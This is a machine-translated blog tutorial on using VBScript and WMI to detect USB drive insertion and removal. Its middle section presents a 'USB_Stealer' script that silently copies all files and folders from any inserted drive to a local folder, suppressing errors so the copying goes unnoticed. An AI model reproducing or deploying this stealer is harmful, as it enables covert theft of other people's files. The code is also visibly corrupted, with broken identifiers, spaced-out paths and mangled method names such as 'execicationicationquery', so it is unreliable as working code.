Use VBS to detect code for USB flash drive insertion and pop-up events

It can be said that the level of understanding of WMI directly determines the level of your VBS. I have read the popular VBS version of the USB flash drive thief program on the Internet, which is basically achieved through an infinite loop, with no technical content at all. At the end of the article, I wrote the VBS version of the USB flash drive thief program. Although WMI has infinite loops, the efficiency is different.

You can use WMI's Win32_VolumeChangeEvent class. The following is the sample code. For more information, see the MSND document.

Copy codeThe Code is as follows: Const Configuration_Changed = 1
Const Device_Arrival = 2
Const Device_Removal = 3
Const Docking = 4
StrComputer = "."
Set ob1_miservice = GetObject ("winmgmts :"_
& "{ImpersonationLevel = impersonate }! \\"_
& StrComputer & "\ root \ cimv2 ")
Set colMonitoredEvents = ob1_miservice ._
ExecNotificationQuery (_
"Select * from Win32_VolumeChangeEvent ")
Do
Set objLatestEvent = colMonitoredEvents. NextEvent
Select Case objLatestEvent. EventType
Case Device_Arrival
WScript. Echo "USB flash drive inserted with drive letter "&_
ObjLatestEvent. DriveName
Case Device_Removal
WScript. Echo "USB flash disk pop-up, drive letter is "&_
ObjLatestEvent. DriveName
End Select
Loop

I also wrote a USB flash drive thief program. I thought it was better than the code copied on the Internet. If you are interested, you can download it.Copy codeThe Code is as follows: '================================================ ===
'Name: USB_Stealer
'Date: 2010/5/25
'Author: Demon
'Copyright: Copyright (c) 2010 Demon
'E-mail: still.demon@gmail.com
'Qq: 380401911
'Website: http://demon.tw
'================================================ ===
'Option Explicit
On Error Resume Next
Const Target_Folder = "C: \ USB"

Call Main ()

Sub Main ()
On Error Resume Next
Const Device_Arrival = 2
Const Device_Removal = 3
Const strComputer = "."
Dim ob1_miservice, colMonitoredEvents, objLatestEvent

Set ob1_miservice = GetObject ("winmgmts :"_
& "{ImpersonationLevel = impersonate }! \\"_
& StrComputer & "\ root \ cimv2 ")
Set colMonitoredEvents = ob1_miservice ._
ExecNotificationQuery (_
"Select * from Win32_VolumeChangeEvent ")
Do
Set objLatestEvent = colMonitoredEvents. NextEvent
Select Case objLatestEvent. EventType
Case Device_Arrival
Copy_File objLatestEvent. DriveName
End Select
Loop
End Sub

Sub Copy_File (Folder_Path)
On Error Resume Next
Dim fso, file, folder
Set fso = CreateObject ("scripting. filesystemobject ")

If Not fso. FolderExists (Target_Folder) Then
Fso. CreateFolder (Target_Folder)
End If

For Each file In fso. GetFolder (Folder_Path). Files
File. Copy Target_Folder & "\" & file. Name, True
Next

For Each folder In fso. GetFolder (Folder_Path). SubFolders
Folder. Copy Target_Folder & "\" & folder. Name, True
Next
End Sub

Since many people have reported that the previously written article is invalid under XP, some modifications have been made. The modification is actually directly copying and pasting the code of the script expert.Copy codeThe Code is as follows: strComputer = "."
Set ob1_miservice = GetObject ("winmgmts: \" & strComputer & "\ root \ cimv2 ")

Set colEvents = obw.miservice. execicationicationquery _
("Select * From _ InstanceOperationEvent Within 10 Where "_
& "TargetInstance isa 'win32 _ logicaldisk '")

Do While True
Set objEvent = colEvents. NextEvent
If objEvent. TargetInstance. DriveType = 2 Then
Select Case objEvent. Path _. Class
Case "_ InstanceCreationEvent"
Wscript. Echo "Drive" & objEvent. TargetInstance. DeviceId &_
"Has been added ."
Case "_ InstanceDeletionEvent"
Wscript. Echo "Drive" & objEvent. TargetInstance. DeviceId &_
"Has been removed ."
End Select
End If
Loop

Reference link:How Can I Determine When a Removable Drive Gets Connected?
We should be able to see where the best place to learn vbs is, and the official website of vbs has to go. Many vbs-related textbooks are from the official script column of Microsoft.
Original article: http://demon.tw/programming/vbs-usb-insert-remove.html